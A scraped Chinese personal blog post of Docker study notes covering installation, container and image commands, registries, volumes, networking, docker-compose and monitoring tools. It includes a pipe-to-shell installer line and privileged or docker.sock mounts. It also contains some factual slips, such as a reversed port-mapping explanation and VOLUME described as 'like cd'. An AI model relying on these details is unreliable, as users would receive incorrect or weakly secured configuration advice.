推送到阿里容器仓库\n端口映射（实质上并不是docker容器技术实现的，是利用了iptables）\ndocker配置文件hostconfig.json\ndocker run -d -p 8000:80 ubuntu // 将容器的8000端口映射到宿主机上的80端口\ndocker为啥比虚拟机性能好\ndocker不需要硬件资源的虚拟化，docker的容器的软件是可以直接使用物理机的硬件资源的（更好的利用硬件资源），而且docker是直接调用的宿主机的内核，不需要重新加载操作系统的OS内核（减少不必要的浪费）\n虚悬镜像（dangling image）：指的是仓库名，标签都是的镜像，一般出现在删除镜像出错时\n查找虚悬镜像\ndocker image ls -f dangling=true\n删除虚悬镜像\ndocker image prune #删除所有dangling image\n镜像是一种独立，可执行，轻量级的软件包，包含某个软件需要的所有内容，这个镜像包含应用程序，应用的配置依赖，这个镜像实质上就是一个可交付的运行环境\n镜像分层系统实现依赖于UnionFS\nUnionFS（联合文件系统）：是一种分层，轻量级的高性能文件系统，支持对文件系统的修改作为一次提交来一层一层的叠加，并且将不同的目录挂载到同一个虚拟文件系统下\n镜像可通过分层来基于基础镜像来制造各种应用镜像\nDocker镜像加载原理：通过UnionFS来一层一层组成，bootfs（boot file system）加载和引导内核，当boot加载完毕，内存使用权从bootfs转交到内核，系统卸载bootfs\nrootfs（root file system）就是操作系统，包含Linux系统中标准的/bin，/etc等目录\nDocker镜像为啥这么小的原因就是镜像只包含bootfs和rootfs，复用宿主机的内核\n镜像分层的好处：可复用，方便共享（复制迁移）资源，镜像的每一层都可以被共享，可复用\n镜像层是只读，容器层是可写的，当一个容器被启动，一个可写层被加载到镜像的顶部时，那么这一层被叫为容器层，容器层之下的都被叫为镜像层\ncommit命令提交副本来创建新镜像\ndocker commit -m=“注释” -a=“作者” 容器id 用户/镜像名:镜像版本号\n搭建私有仓库\ndocker私有仓库（Docker Registry）\nDocker Registry是docker提供的镜像，专门用来构建docker私有仓库\ndocker pull registry # 拉取Registry镜像\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry – privileged=true registry\n默认情况下，仓库被创建在容器的/var/lib/registry目录下（当然也可以通过容器卷来映射）\ndocker tag ubuntu 192.168.1.110:5000/ubuntu # 修改tag为符合私有仓库的规范\n这个私有仓库默认不支持http推送，需要修改/etc/docker/daemon.json\n“insecure-registries”: [“192.168.1.110:5000”]\n如果不生效，请重启docker服务\n推送镜像到私有仓库\ndocker push 192.168.1.110:5000/ubuntu\n查看私有仓库存储的镜像\ncurl -XGET http://192.168.1.110:5000/v2/_catalog\n获取私有仓库镜像到本地\ndocker pull 192.168.1.110:5000/ubuntu\n容器数据卷\n-v参数为启动自定义容器数据卷\n比如说docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry – privileged=true registry\n/test/registry/为宿主机路径，/tmp/registry为容器内部路径，– privileged=true为开启privileged，（开启privileged后，容器内部的root才拥有真正的root权限，否则容器的root只是普通用户权限）\n容器数据卷用于数据的持久化（独立于容器的生命周期），可绕过联合文件系统来达到持续存在或者共享数据的目的，docker不会在删除容器时，删除容器挂载的数据卷，数据卷指定容器内部路径，任何在该路径存储的数据，都会被映射到宿主机指定的那个目录下\n在数据卷中的任何更改都不会认为是镜像的更新，而且数据卷中的更改是实时生效的（不需要重启容器之类的，哪怕容器没有启动），数据卷的生命周期长（可持续到没有容器使用它为止）\n数据卷被用于容器和宿主机之间的互通互联，在宿主机中更新的文件，会实时在容器中生效\ndocker inspect 镜像名或者镜像id # 获取容器/镜像的元数据\n数据卷在该镜像的元数据的Mounts属性中找到\n数据卷默认可读可写（rw），可通过ro来限制容器内部只能读，不能写\n默认情况下\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:rw – privileged=true registry\n因为rw是默认的，可以省略不写\n限制容器只能读取数据卷，不能写（ro，read only）\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:ro – privileged=true registry\n数据卷的继承（–volumes-from）\ndocker run -it – privileged=true –volumes-from 容器1 –name 容器2 registry\n容器2继承容器1的数据卷规则（哪怕容器1被删除了或者停止运行了，依然不会影响到容器2的数据卷）\ndocker network\ndocker network可用于容器之间的互联以及通信（端口映射），可通过服务名来直接通信（不受IP变动而影响）\ndocker会默认创建一个叫docker0的虚拟网桥（bridge网络模式）\ndocker0网桥会在内核层连通其他网络网卡和虚拟网卡，实现所有的容器和本地主机的网络连接（同一个物理网络）\ndocker会默认创建三个网络模式，分别为bridge（默认），host，none\n可通过docker network ls命令查看\n创建网络\ndocker network create hallo\n删除网络\ndocker network rm hallo\n查看网络的详细信息\ndocker network inspect bridge\nbridge网络模式：为容器分配和设置IP，并且将容器分配到docker0网桥（如果不指定-network，创建的容器默认在该模式上）（–network bridge，可忽略）\nhost网络模式：容器不会虚拟网卡，而是直接使用宿主机的ip和端口和外界通信（不需要额外进行NAT转换，没有独立的Network namespace，而是和宿主机共用一个Network namespace）（–network host）\nnone网络模式：该模式的容器有自己的独立网络规则（Network namespace），但是没有进行配置，需要手动配置docker容器网络（发挥网络定制功能，没有虚拟网卡，没有IP等等网络信息），在该模式下只有一个127.0.0.1的本地网络回环接口（lo）（–network none）\ncontainer网络模式：该模式下的容器不会配置自己的IP，而是和指定的容器共享IP和端口范围（网络共用，文件和进程隔离）（–network container:指定容器名或者容器ID）\n自定义网络模式（可通过服务名（容器名/主机名）来通信，docker network create hallo）\ndocker-compose容器编排\ndocker-Compose是Docker官方提供的Docker容器集群快速编排工具，用于管理多个docker容器组成的应用，通过docker-compose.yml配置文件来管理多个容器之间的调用关系\n官方文档https://docs.docker.com/compose/\n下载文档：https://docs.docker.com/compose/install/\n下载docker-Compose sudo curl -L “https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)” -o /usr/local/bin/docker-compose\n添加写的权限 sudo chmod +x /usr/local/bin/docker-compose\n测试是否安装完成 docker-compose –version\n构建并且启动容器（执行docker-compose.yml配置文件）（加参数-d为启动服务并且后台运行） docker-compose up\n构建或者重新构建服务 docker-compose build\n删除指定服务的容器 docker-compose rm 容器名\n停止并且删除容器，镜像，网络，卷 docker-compose down\n进入容器 docker-compose exec 服务id\n查看当前docker-compose编排的全部容器 docker-compose top\n查看当前docker-compose编排的容器进程 docker-compose ps\n停止docker-compose服务 docker-compose stop\n启动docker-compose服务 docker-compose start\n重启docker-compose服务 docker-compose restart\n检查配置文件（-q参数表示当配置文件出现问题时才输出信息） docker-compose config\n容器的7种状态：\ncreated（已创建） restarting（重启中） running或up（运行中） removing（迁移中） paused（暂停） exited（停止） dead（死亡）\ndocker-compose.yml配置文件\nversion: \"3.9\" services: web: build: context: . dockerfile: Dockerfile_test ports: - \"5000:5000\" volumes: - /app/test:/data/app links: - redis networks: - hallo_net redis: image: redis command: redis-server /etc/redis/redis.conf networks: hallo_net: version字段为版本号（具体支持的版本和docker-compose安装的版本有关，具体看实质版本），services字端表示服务容器，services字端下面的服务名的image字段为从指定镜像中启动容器（镜像可本地，可仓库或者镜像ID），ports字段为端口映射，networks字段为指定网络模式，volumes字段为容器数据卷\n外面那个networks字段将会创建hallo_net自定义网络模式，处理基于指定镜像外，还可以基于Dockerfile，build字段下的dockerfile字段就是指定Dockerfile文件所在的路径，context字段为构建的路径，links字段为链接到指定服务中的容器\n一般都是通过Dockerfile自动化构建镜像，然后基于这个镜像使用docker-compose管理容器\nPortainer可视化工具\nPortainer是一个Docker轻量级的可视化工具（Portainer官网，https://www.portainer.io，官网文档：https://docs.portainer.io/v/ce-2.11/start/install/server/docker/linux）\n可直接pull Portainer的镜像来安装\ndocker pull portainer/portainer\ndocker run -d -p 8000:8000 -p 9443:9443 --name portainer \\ --restart=always \\ -v /var/run/docker.sock:/var/run/docker.sock \\ -v portainer_data:/data \\ portainer/portainer-ce:2.11.1 启动完毕后，访问1192.168.1.110:9443/，进行设置admin用户和密码\n如果是监控本地的docker，选择local\nCAdvisor+InfluxDB+Granfana(CIG重量级容器监控)\ndocker依赖多种namespace来进行隔离（例如User Namespace，容器用户和宿主用户隔离，process id Namespace，隔离进程id，network Namespace，隔离网络设备，端口号，mount Namespace，隔离挂载等等），依赖于cgroup进行资源管理和控制（例如cpu，内存），namespace和cgroup都由自Linux内核提供\ndocker使用了6种namespace，分别是，mount namespace，uts namespace，ipc namespace，network namespace，pid namespace，user namespace\nmount Namespace：隔离不同进程的挂载数据，保证容器的挂载操作不会影响到宿主的挂载\nsudo unshare –mount –fork /bin/bash # 创建一个mount Namespace，使用/bin/bash进程，在该挂载任何文件，都不会作用于宿主\npid namespace是隔离进程的pid的，也就是说宿主是看不到容器的应用pid，容器也看不到宿主的pid\nsudo unshare –pid –fork –mount-proc /bin/bash\n安全容器：容器运行在虚拟机中，具备虚拟机的安全隔离性，例如kata Container，使用guest kernel（精简了内核，专门提供给容器运行，减低资源的消耗）\n因为docker容器共享宿主内核，存在安全性，所以可使用安全容器来隔离宿主内核，安全容器的内核是完全独立于宿主的内核（虚拟化技术）\ndocker容器资源限制\ndocker run -it –cpus=4 -m=8192 –pids-limit=1000 ubuntu /bin/bash # 启动ubuntu镜像，使用/bin/bash作为终端，资源被设置为4核8g，并且只能创建1000个pid\ndocker stats ubuntu # 查看容器的资源使用情况\ncAdvisor是谷歌开源的容器监控工具，不但可以监控容器的资源使用情况，还可以监控宿主的资源使用情况，可查看容器的历史资源使用情况\ndocker run \\ --volume=/:/rootfs:ro \\ --volume=/var/run:/var/run:ro \\ --volume=/sys:/sys:ro \\ --volume=/var/lib/docker/:/var/lib/docker:ro \\ --volume=/dev/disk/:/dev/disk:ro \\ --publish=8080:8080 \\ --detach=true \\ --name=cadvisor \\ --privileged \\ --device=/dev/kmsg \\ gcr.io/cadvisor/cadvisor:$VERSION 访问http://localhost:8080\n容器的资源限制通过/sys/fs/cgroup/memory/docker下的，目录名为容器id，其中memory.limit_in_bytes是该容器的内存限制文件，memory.usage_in_bytes是该容器的内存使用情况，proc/容器的pid/net/dev是该容器的网络使用情况，cpuset.cpus是cpu限制使用核数，cpu.cfs_period_us是一个cpu核心的带宽（单位微秒，容器的cpu总带宽=cpu核心数*单个cpu核心的带宽），cpu.cfs_quota_us是可使用cpu带宽（单位微秒，-1为不限制）\n容器监控工具实质上是通过读取和记录宿主的文件来显示容器资源情况的，所以启动容器监控工具，要映射数据卷/sys:到容器中\nkubernetes简称k8s，用来自动化容器的部署，监控，容器负载均衡等等\nmaster是容器集群的控制系统，可以用来监控容器的状态，调度负载均衡\nnode是k8s的工作节点，可以接收master的指令，根据指令来创建和销毁Pod等等\nPod是容器的容器，可以包含多个容器，是k8s中最小的可部署单元，pod内部的网络是互通的，每一个pod都有自己的虚拟ip\nk8s将弃用dockershim（dockershim是k8s内置的一个组件，该组件可让k8s能够通过CRI（Container Runtime Interface）来操作docker）\n安装docker\n配置docker\n添加docker官方GPGkey\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\nsudo apt-key fingerprint 0EBFCD88\n安装依赖\nsudo apt install apt-transport-https ca-certificates curl software-properties-common\n设置docker仓库\nsudo add-apt-repository “deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable”\n重新加载源\nsudo apt update\n如果报错，可以手动在/etc/apt/source.list添加\ndeb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable\nsudo apt dist-upgrade（智能处理包依赖，会自己安装新软件或者删除原有软件包来完成升级）\n安装docker\nsudo apt install docker-ce docker-ce-cli containerd.io\n","wordCount":"891","inLanguage":"en","datePublished":"2021-06-16T09:34:00Z","dateModified":"2021-06-16T09:34:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/18/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Docker容器的简单使用</h1><div class=post-meta><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Docker%e5%ae%b9%e5%99%a8%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行</p><p>可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题</p><p>将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境</p><p>在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现</p><p>运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）</p><p>docker的多数项目和工具是使用golang编写的</p><p>Docker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的</p><p>Docker三大件：镜像，容器，仓库</p><p>镜像被用来创建容器（而且镜像文件是复用，只可读的）</p><p>容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除</p><p>仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/</p><p>Docker官网文档：https://docs.docker.com/</p><p>Docker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器</p><p>Docker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）</p><p>如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）</p><p>当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）</p><p>如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成</p><p>网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成</p><p>安装docker（环境为ubuntu20.04）</p><p>如果之前安装过docker，需要先卸载</p><p>sudo apt remove docker docker-engine docker.io containerd runc</p><p>docker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装</p><p>安装依赖</p><p>sudo apt install ca-certificates curl gnupg lsb-release</p><p>配置docker官方的GPG密钥</p><p>curl -fsSL <a href=https://download.docker.com/linux/ubuntu/gpg>https://download.docker.com/linux/ubuntu/gpg</a> | sudo gpg &ndash;dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg</p><p>配置稳定Docker CE源</p><p>sudo add-apt-repository<br>&ldquo;deb [arch=amd64] <a href=https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian>https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian</a><br>$(lsb_release -cs)<br>stable&rdquo;</p><p>安装docker引擎</p><p>sudo apt install docker-ce docker-ce-cli containerd.io</p><p>或者直接使用docker官方提供的sh脚本</p><p>curl -s <a href=https://get.docker.com>https://get.docker.com</a> | sh （不推荐使用）</p><p>如果需要安装指定版本的docker，可指定docker-ce和docker-ce-cli的版本</p><p>查看源仓库中可安装的docker的版本</p><p>apt-cache madison docker-ce</p><p>启动docker服务</p><p>service docker start</p><p>关闭docker服务</p><p>service docker stop</p><p>重启docker服务</p><p>service docker restart</p><p>检查是否安装成功（创建一个测试容器，并且执行该容器，该容器会返回信息并且退出）</p><p>sudo docker run hello-world</p><p>或者docker version</p><p>查看所有镜像</p><p>docker image ls或者docker images</p><p>查看所有容器</p><p>docker ps</p><p>docker ps -a # 输出所有容器（包括未运行的）</p><p>docker ps -q # 只输出容器id</p><p>docker ps -a -q # 输出所有容器id</p><p>docker ps -n 5 # 输出最近创建的5个容器</p><p>docker ps -l # 显示最近创建的容器</p><p>REPOSITORY：镜像名称，TAG：镜像的标签（一般为该镜像的版本号），IMAGE ID：镜像id，CREATED：镜像创建时间，SIZE：镜像大小</p><p>镜像id实质上为该镜像的sha256</p><p>注意：如果不指定版本，将默认使用latest版本的镜像</p><p>docker system df # 查看Docker的磁盘使用情况</p><p>docker stop 容器id（或者容器名都可以） -f # 关闭指定容器，-f为强制删除</p><p>docker stop $(docker ps -a -q) # 关闭所有容器</p><p>删除指定容器</p><p>docker image rm 容器名称 # 例如 docker image rm centos</p><p>docker rmi 容器id # 删除指定镜像</p><p>docker rmi $(docker images -a -q) # 删除所有镜像</p><p>查看所有正在运行的容器</p><p>docker container ls或者docker ps</p><p>查看所有的容器（包括已经停止运行的）</p><p>docker container ls &ndash;all</p><p>运行指定容器</p><p>docker container run 镜像名</p><p>或者</p><p>docker run 镜像名</p><p>启动容器</p><p>docker start 容器ID或者容器名</p><p>重启容器</p><p>docker restart 容器ID或者容器名</p><p>停止容器</p><p>docker stop 容器ID或者容器名</p><p>强制停止运行容器</p><p>docker kill 容器ID或者容器名</p><p>删除已经停止运行的容器</p><p>docker rm 容器ID</p><p>注意：rm是删除容器，rmi是删除镜像</p><p>docker exec -it 容器ID bash # 在容器中打开新终端，并且启动新的进程，在这个情况下使用exit退出不会导致容器的暂停，而attach会导致容器的暂停，推荐使用exec</p><p>docker attach 容器ID # 直接进入容器启动命令的终端，不启动新的进程</p><p>docker run -it ubuntu /bin/bash # i表示以交互模式运行容器，t为给容器创建一个伪终端（搭配使用就是交互式容器）</p><p>docker run &ndash;name=&ldquo;容器的新名称&rdquo; 镜像名 # 为容器指定新名称，如果不指定，容器名称默认为镜像名</p><p>docker run -d 镜像名 # 后台运行容器并且返回容器id（以守护进程的方式后台运行容器）</p><p>docker run -p 80:8080 镜像名 # 运行并且映射指定容器的80端口到物理机的8080端口</p><p>docker run -P 镜像名 # 随机端口映射，不常用</p><p>获取容器（从镜像源（docker hub）中下载到本地，docker提供大量已经配置好的容器，可以直接下载使用，修改）</p><p>docker image pull 镜像名 # 拉取某个镜像</p><p>docker search 镜像名 # 搜索查找某个镜像</p><p>NAME：容器仓库名称，DESCRIPTION：容器描述，STARS：类似github的star，关注，喜欢
 OFFICIAL：是否为官方，AUTOMATED：是否为自动构建</p><p>docker cp 容器id:容器内部的路径 目标主机的路径 # 将容器的文件备份（拷贝）到主机中</p><p>导出导入容器（备份容器）</p><p>docker export 容器id > 文件x.tar # 导出容器</p><p>car 文件x.tar | docker import - 镜像用户/镜像名:镜像版本号 # 导入容器</p><p>修改容器源</p><p>国内容器源</p><p><a href=http://hub-mirror.c.163.com>http://hub-mirror.c.163.com</a> # 网易云</p><p><a href=https://docker.mirrors.ustc.edu.cn>https://docker.mirrors.ustc.edu.cn</a> # 中国科技大学</p><p><a href=https://mirror.ccs.tencentyun.com>https://mirror.ccs.tencentyun.com</a> # 腾讯云</p><p>docker run hello-world &ndash;registry-mirror=https://mirror.ccs.tencentyun.com 容器名 # 只对当前指令起作用</p><p>找到/etc/default/docker 插入</p><p>DOCKER_OPTS="&ndash;registry-mirror=https://mirror.ccs.tencentyun.com"</p><p>或者</p><p>找到/etc/docker/daemon.json，插入</p><p>{&ldquo;registry-mirrors&rdquo;: [&ldquo;https://mirror.ccs.tencentyun.com&rdquo;]} # 可以插入多个源</p><p>然后重启服务</p><p>如果dockerhub满足不了，可以在hub已存在的容器中进行修改（安装，卸载&mldr;）</p><p>或者使用Dockerfile，从零开始构建容器</p><p>mkdir hallo && cd hallo # 新建一个文件夹，并且进入这个文件夹</p><p>nano Dockerfile # 新建个文件，并且修改它</p><p>FROM ubuntu:18.04
 RUN apt -y update && apt install -y nginx && apt install -y mariadb-server && apt install -y php*</p><p>FROM：基础镜像,操作都是基于这个基础镜像，RUM：执行指定指令（shell）</p><p>其他参数，MAINTAINER：容器创建者，CMD：当容器启动时执行命令，只能有一条CMD命令，多条执行最后一条，容器run命令会覆盖cmd命令</p><p>ENTRYPOINT：当容器启动时执行命令，不可覆盖</p><p>USER：指定哪个用户来启动容器</p><p>EXPOSE：容器内部开启端口，一般用于容器端口映射到主机端口上</p><p>ENV：环境变量</p><p>ADD：复制或者下载到容器，请确保本地或者docker仓库中有需要add的文件，例如：</p><p>ADD 文件路径（或者url） 目标容器的绝对路径</p><p>VOLUME：切换目录用，类似cd</p><p>打包容器</p><p>docker build -t 容器名 .</p><p>这个“.”表示为当前路径</p><p>如果正在运行docker，想退出可以使用ctrl+D，例如</p><p>在centos中体验Ubuntu系统</p><p>例如docker container run -it ubuntu bash</p><p>如果想退出docker，可以在docker（run进去的容器）中输入exit</p><p>如果想docker中的容器不停止， 快捷键 ctrl+p+q</p><p>推送本地容器到docker仓库中</p><p>首先需要一个docker仓库账号，例如https://hub.docker.com/或者https://cr.console.aliyun.com/cn-hangzhou/new # 阿里容器镜像服务，</p><p>docker login -u 账号 -p 密码 # 登录DockerHub账号</p><p>docker push hallo_word:yes</p><p>docker pull会默认推送带有latest标签的容器到本地，所以推荐把容器标签修改为latest，或者直接指定要推送哪个容器，精确到标签</p><p>docker tag hallo_word:yes hallo_word:latest</p><p>推送到第三方仓库（例如：阿里容器镜像服务）</p><p>docker pull registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送容器到本地</p><p>docker login &ndash;<a href="mailto:username=xxx@qq.com">username=xxx@qq.com</a> registry.cn-hangzhou.aliyuncs.com # 登录的用户名为阿里云账号全名，密码为开通服务时设置的密码，如果是私有仓库，那么需要推送容器到本地之前执行，推送容器到本地之后再执行一次</p><p>docker tag 容器id registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送到阿里容器仓库</p><p>端口映射（实质上并不是docker容器技术实现的，是利用了iptables）</p><p>docker配置文件hostconfig.json</p><p>docker run -d -p 8000:80 ubuntu // 将容器的8000端口映射到宿主机上的80端口</p><hr><p>docker为啥比虚拟机性能好</p><p>docker不需要硬件资源的虚拟化，docker的容器的软件是可以直接使用物理机的硬件资源的（更好的利用硬件资源），而且docker是直接调用的宿主机的内核，不需要重新加载操作系统的OS内核（减少不必要的浪费）</p><hr><p>虚悬镜像（dangling image）：指的是仓库名，标签都是的镜像，一般出现在删除镜像出错时</p><p>查找虚悬镜像</p><p>docker image ls -f dangling=true</p><p>删除虚悬镜像</p><p>docker image prune #删除所有dangling image</p><hr><p>镜像是一种独立，可执行，轻量级的软件包，包含某个软件需要的所有内容，这个镜像包含应用程序，应用的配置依赖，这个镜像实质上就是一个可交付的运行环境</p><p>镜像分层系统实现依赖于UnionFS</p><p>UnionFS（联合文件系统）：是一种分层，轻量级的高性能文件系统，支持对文件系统的修改作为一次提交来一层一层的叠加，并且将不同的目录挂载到同一个虚拟文件系统下</p><p>镜像可通过分层来基于基础镜像来制造各种应用镜像</p><p>Docker镜像加载原理：通过UnionFS来一层一层组成，bootfs（boot file system）加载和引导内核，当boot加载完毕，内存使用权从bootfs转交到内核，系统卸载bootfs</p><p>rootfs（root file system）就是操作系统，包含Linux系统中标准的/bin，/etc等目录</p><p>Docker镜像为啥这么小的原因就是镜像只包含bootfs和rootfs，复用宿主机的内核</p><p>镜像分层的好处：可复用，方便共享（复制迁移）资源，镜像的每一层都可以被共享，可复用</p><p>镜像层是只读，容器层是可写的，当一个容器被启动，一个可写层被加载到镜像的顶部时，那么这一层被叫为容器层，容器层之下的都被叫为镜像层</p><p>commit命令提交副本来创建新镜像</p><p>docker commit -m=&ldquo;注释&rdquo; -a=&ldquo;作者&rdquo; 容器id 用户/镜像名:镜像版本号</p><hr><p>搭建私有仓库</p><p>docker私有仓库（Docker Registry）</p><p>Docker Registry是docker提供的镜像，专门用来构建docker私有仓库</p><p>docker pull registry # 拉取Registry镜像</p><p>docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry &ndash; privileged=true registry</p><p>默认情况下，仓库被创建在容器的/var/lib/registry目录下（当然也可以通过容器卷来映射）</p><p>docker tag ubuntu 192.168.1.110:5000/ubuntu # 修改tag为符合私有仓库的规范</p><p>这个私有仓库默认不支持http推送，需要修改/etc/docker/daemon.json</p><p>&ldquo;insecure-registries&rdquo;: [&ldquo;192.168.1.110:5000&rdquo;]</p><p>如果不生效，请重启docker服务</p><p>推送镜像到私有仓库</p><p>docker push 192.168.1.110:5000/ubuntu</p><p>查看私有仓库存储的镜像</p><p>curl -XGET http://192.168.1.110:5000/v2/_catalog</p><p>获取私有仓库镜像到本地</p><p>docker pull 192.168.1.110:5000/ubuntu</p><hr><p>容器数据卷</p><p>-v参数为启动自定义容器数据卷</p><p>比如说docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry &ndash; privileged=true registry</p><p>/test/registry/为宿主机路径，/tmp/registry为容器内部路径，&ndash; privileged=true为开启privileged，（开启privileged后，容器内部的root才拥有真正的root权限，否则容器的root只是普通用户权限）</p><p>容器数据卷用于数据的持久化（独立于容器的生命周期），可绕过联合文件系统来达到持续存在或者共享数据的目的，docker不会在删除容器时，删除容器挂载的数据卷，数据卷指定容器内部路径，任何在该路径存储的数据，都会被映射到宿主机指定的那个目录下</p><p>在数据卷中的任何更改都不会认为是镜像的更新，而且数据卷中的更改是实时生效的（不需要重启容器之类的，哪怕容器没有启动），数据卷的生命周期长（可持续到没有容器使用它为止）</p><p>数据卷被用于容器和宿主机之间的互通互联，在宿主机中更新的文件，会实时在容器中生效</p><p>docker inspect 镜像名或者镜像id # 获取容器/镜像的元数据</p><p>数据卷在该镜像的元数据的Mounts属性中找到</p><p>数据卷默认可读可写（rw），可通过ro来限制容器内部只能读，不能写</p><p>默认情况下</p><p>docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:rw &ndash; privileged=true registry</p><p>因为rw是默认的，可以省略不写</p><p>限制容器只能读取数据卷，不能写（ro，read only）</p><p>docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:ro &ndash; privileged=true registry</p><p>数据卷的继承（&ndash;volumes-from）</p><p>docker run -it &ndash; privileged=true &ndash;volumes-from 容器1 &ndash;name 容器2 registry</p><p>容器2继承容器1的数据卷规则（哪怕容器1被删除了或者停止运行了，依然不会影响到容器2的数据卷）</p><hr><p>docker network</p><p>docker network可用于容器之间的互联以及通信（端口映射），可通过服务名来直接通信（不受IP变动而影响）</p><p>docker会默认创建一个叫docker0的虚拟网桥（bridge网络模式）</p><p>docker0网桥会在内核层连通其他网络网卡和虚拟网卡，实现所有的容器和本地主机的网络连接（同一个物理网络）</p><p>docker会默认创建三个网络模式，分别为bridge（默认），host，none</p><p>可通过docker network ls命令查看</p><p>创建网络</p><p>docker network create hallo</p><p>删除网络</p><p>docker network rm hallo</p><p>查看网络的详细信息</p><p>docker network inspect bridge</p><p>bridge网络模式：为容器分配和设置IP，并且将容器分配到docker0网桥（如果不指定-network，创建的容器默认在该模式上）（&ndash;network bridge，可忽略）</p><p>host网络模式：容器不会虚拟网卡，而是直接使用宿主机的ip和端口和外界通信（不需要额外进行NAT转换，没有独立的Network namespace，而是和宿主机共用一个Network namespace）（&ndash;network host）</p><p>none网络模式：该模式的容器有自己的独立网络规则（Network namespace），但是没有进行配置，需要手动配置docker容器网络（发挥网络定制功能，没有虚拟网卡，没有IP等等网络信息），在该模式下只有一个127.0.0.1的本地网络回环接口（lo）（&ndash;network 